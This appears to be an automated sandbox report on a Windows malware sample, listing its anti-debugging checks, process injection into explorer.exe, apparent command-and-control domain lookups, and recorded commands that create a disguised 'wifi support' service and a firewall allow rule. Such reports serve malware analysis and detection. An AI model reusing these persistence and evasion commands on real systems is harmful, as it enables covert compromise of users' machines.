Source: explorer.exe, 00000005.00000000.685477117.000000000FCBA000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}##
Source: svchost.exe, 0000001A.00000002.818452119.000002A879A85000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Versato.exe.com, 00000015.00000003.804009641.0000000001879000.00000004.00000001.sdmp	Binary or memory string: TYHWJHSCVAPQEMUV
Source: explorer.exe, 00000005.00000000.685440066.000000000FC91000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATA]
Source: explorer.exe, 00000005.00000000.678985043.0000000004791000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efb8b}
Source: explorer.exe, 00000005.00000000.688399410.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.682967739.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.706093043.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: svchost.exe, 0000001A.00000002.818452119.000002A879A85000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWc

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B5423 GetSystemInfo,CreateDirectoryA,RemoveDirectoryA,

14_2_011B5423

Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B2395 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	14_2_011B2395
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043E07C FindClose,FindFirstFileExW,GetLastError,FindFirstFileExW,GetLastError,	30_2_0043E07C
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0045EACD FindFirstFileExW,	30_2_0045EACD

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\55AD.exe

Thread information set: HideFromDebugger

Jump to behavior

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

0_2_00412D70

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_02CB0042 push dword ptr fs:[00000030h]	0_2_02CB0042
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_04760042 push dword ptr fs:[00000030h]	12_2_04760042
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_004590DF mov eax, dword ptr fs:[00000030h]	30_2_004590DF
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00459154 mov eax, dword ptr fs:[00000030h]	30_2_00459154
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00459123 mov eax, dword ptr fs:[00000030h]	30_2_00459123
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_00445CA1 mov eax, dword ptr fs:[00000030h]	30_2_00445CA1

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

Code function: 0_2_00406550 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00406550

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com

Code function: 21_2_011B5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

21_2_011B5CAC

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_0040EBCC GetProcessHeap,RtlAllocateHeap,

24_2_0040EBCC

Source: C:\Users\user\AppData\Local\Temp\C612.exe

Code function: 13_1_00402702 LdrLoadDll,

13_1_00402702

Source: C:\Users\user\AppData\Local\Temp\55AD.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_00406550 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00406550
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_00402ED0 _memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00402ED0
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Code function: 0_2_004069E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004069E0
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_00406550 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00406550
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_00402ED0 _memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00402ED0
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Code function: 12_2_004069E0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_004069E0
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B6EE0 SetUnhandledExceptionFilter,	14_2_011B6EE0
Source: C:\Users\user\AppData\Local\Temp\D322.exe	Code function: 14_2_011B6C90 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_011B6C90
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 21_2_011AA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_011AA385
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Code function: 24_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	24_2_00409A6B
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com	Code function: 27_2_011AA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_011AA385
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_004456C5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_004456C5
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043FC02 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_0043FC02
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043FD65 SetUnhandledExceptionFilter,	30_2_0043FD65
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: 30_2_0043FF7C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	30_2_0043FF7C

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Domain query: abclegal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx.lb.btinternet.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: freemail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.cbl.abuseat.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx.videotron.ca
Source: C:\Windows\explorer.exe	Domain query: privacytoolz123foryou.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxa-001d1702.gslb.pphosted.com
Source: C:\Windows\explorer.exe	Domain query: dmunaavank10.store
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patel-legal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: vipmail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: btinternet.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: defeatwax.ru
Source: C:\Windows\explorer.exe	Domain query: cytheriata4.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.zen.spamhaus.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: semantech.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: videotron.ca
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: www.google.com
Source: C:\Windows\explorer.exe	Domain query: nastanizab8.store
Source: C:\Windows\explorer.exe	Domain query: cusanthana12.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: comcast.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.dnsbl.sorbs.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: spriggsfamily.org
Source: C:\Windows\explorer.exe	Domain query: rrelleynaniy6.store
Source: C:\Windows\explorer.exe	Network Connect: 193.56.146.41 120	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: thecrossfamily.org
Source: C:\Windows\explorer.exe	Domain query: onyokandis9.store
Source: C:\Windows\explorer.exe	Domain query: gilmandros11.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx.wp.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: simec-ing.fr
Source: C:\Windows\explorer.exe	Domain query: mail.emailn.de
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: d138221a.ess.barracudanetworks.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx2.comcast.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: cng.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rocketmail.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mta7.am0.yahoodns.net
Source: C:\Windows\explorer.exe	Domain query: blodinetisha15.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: fmx.freemail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: rathinfotech.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx03.cloud.vadesecure.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx14.mail.magic.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: swbell.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.sbl-xbl.spamhaus.org
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: sympatico.ca
Source: C:\Windows\explorer.exe	Domain query: ggiergionard5.xyz
Source: C:\Windows\explorer.exe	Domain query: willietjeana13.site
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail.simec-ing.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.in-addr.arpa
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: kpmg.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: etna-learning.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: 41.52.17.84.bl.spamcop.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mx1.free.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: icloud.com
Source: C:\Windows\explorer.exe	Domain query: danniemusoa7.store
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: elabsinfotech.com
Source: C:\Windows\explorer.exe	Domain query: xandelissane2.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxmta.owm.bell.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: r3dlegal.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mail01.indamail.hu
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: tpgpackaging.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: wp.pl
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: starling.fr
Source: C:\Windows\explorer.exe	Domain query: ximusokall14.site
Source: C:\Windows\explorer.exe	Domain query: ustiassosale3.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: libertysurf.fr
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: att.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: al-ip4-mx-vip2.prodigy.net
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: smtp-fw.cng.fr
Source: C:\Windows\explorer.exe	Domain query: urydiahadyss16.club
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: mxb-00120b03.gslb.pphosted.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: r-smtp3.korea.com
Source: C:\Windows\explorer.exe	Domain query: fazanaharahe1.xyz
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: aspmx.l.google.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: geedrvu.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Memory written: C:\Users\user\Desktop\DWVByMCYL8.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Memory written: C:\Users\user\AppData\Local\Temp\C612.exe base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe

Code function: 0_2_02CB0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_02CB0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Thread created: C:\Windows\explorer.exe EIP: 4DC1BFC			Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Thread created: unknown EIP: 4F81BFC			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com

Code function: 21_2_01195EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

21_2_01195EDA

Source: C:\Users\user\Desktop\DWVByMCYL8.exe	Process created: C:\Users\user\Desktop\DWVByMCYL8.exe 'C:\Users\user\Desktop\DWVByMCYL8.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\geedrvu	Process created: C:\Users\user\AppData\Roaming\geedrvu C:\Users\user\AppData\Roaming\geedrvu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C612.exe	Process created: C:\Users\user\AppData\Local\Temp\C612.exe C:\Users\user\AppData\Local\Temp\C612.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V /R '^CSBfBxeJtRnGYDtOYiuftASpEnuDCCqwzUhWlIXdUdKFIPPXatwfwfBwZaKegniBRvhrdiEfpQxNQhAPJokbAKZrzkXRXVwcpoNkBLGkALukUNkMRVzyhJquvp$' Essere.mp3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\Versato.exe.com Versato.exe.com g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping localhost	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C mkdir C:\Windows\SysWOW64\zofcwexy\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C move /Y 'C:\Users\user\AppData\Local\Temp\krpafaoc.exe' C:\Windows\SysWOW64\zofcwexy\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' create zofcwexy binPath= 'C:\Windows\SysWOW64\zofcwexy\krpafaoc.exe /d\'C:\Users\user\AppData\Local\Temp\6965.exe\'' type= own start= auto DisplayName= 'wifi support'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' description zofcwexy 'wifi internet conection'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\sc.exe 'C:\Windows\System32\sc.exe' start zofcwexy	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Process created: C:\Windows\SysWOW64\netsh.exe 'C:\Windows\System32\netsh.exe' advfirewall firewall add rule name='Host-process for services of Windows' dir=in action=allow program='C:\Windows\SysWOW64\svchost.exe' enable=yes>nul	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5692 -ip 5692
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5692 -s 752
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\D322.exe

Code function: 14_2_011B180E LoadLibraryA,GetProcAddress,AllocateAndInitializeSid,FreeSid,FreeLibrary,

14_2_011B180E

Source: C:\Users\user\AppData\Local\Temp\6965.exe

Code function: 24_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

24_2_00407809

Source: Versato.exe.com, 00000015.00000000.771912522.0000000001236000.00000002.00020000.sdmp, Versato.exe.com, 0000001B.00000000.777398927.0000000001236000.00000002.00020000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: explorer.exe, 00000005.00000000.686744047.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: Versato.exe.com	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.682967739.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\AppData\Local\Temp\6965.exe	Code function: GetLocaleInfoA,	24_2_0041B1C0
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: __EH_prolog,CoInitialize,GetUserDefaultLCID,GetLocaleInfoA,Sleep,Sleep,GetUserNameA,Sleep,_strlen,_strlen,CreateThread,CreateThread,CreateThread,CreateThread,StrToIntA,CreateThread,CreateThread,WaitForSingleObject,CreateThread,CreateThread,CreateThread,CreateThread,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,WaitForSingleObject,CreateThread,CreateThread,GetModuleHandleA,FreeLibrary,WaitForSingleObject,lstrlenA,lstrlenA,GetEnvironmentVariableA,ShellExecuteA,ShellExecuteA,CoUninitialize,	30_2_0042B4DB
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: __EH_prolog,_strftime,GetUserDefaultLCID,GetLocaleInfoA,GetUserNameA,GetUserNameA,GetComputerNameA,GetUserNameA,GetSystemInfo,GlobalMemoryStatusEx,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,EnumDisplayDevicesA,EnumDisplayDevicesA,EnumDisplayDevicesA,	30_2_004368D6
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	30_2_00461431
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: EnumSystemLocalesW,	30_2_00457619
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: EnumSystemLocalesW,	30_2_004616D3
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: EnumSystemLocalesW,	30_2_0046171E
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: EnumSystemLocalesW,	30_2_004617B9
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	30_2_00461844
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetLocaleInfoW,	30_2_00461A97
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	30_2_00461BBD
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetLocaleInfoW,	30_2_00457C46
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetLocaleInfoW,	30_2_00461CC3
Source: C:\Users\user\AppData\Local\Temp\75AA.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	30_2_00461D92

Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\55AD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6965.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\75AA.exe

Code function: 30_2_0043FA25 cpuid

30_2_0043FA25

Source: C:\Windows\explorer.exe

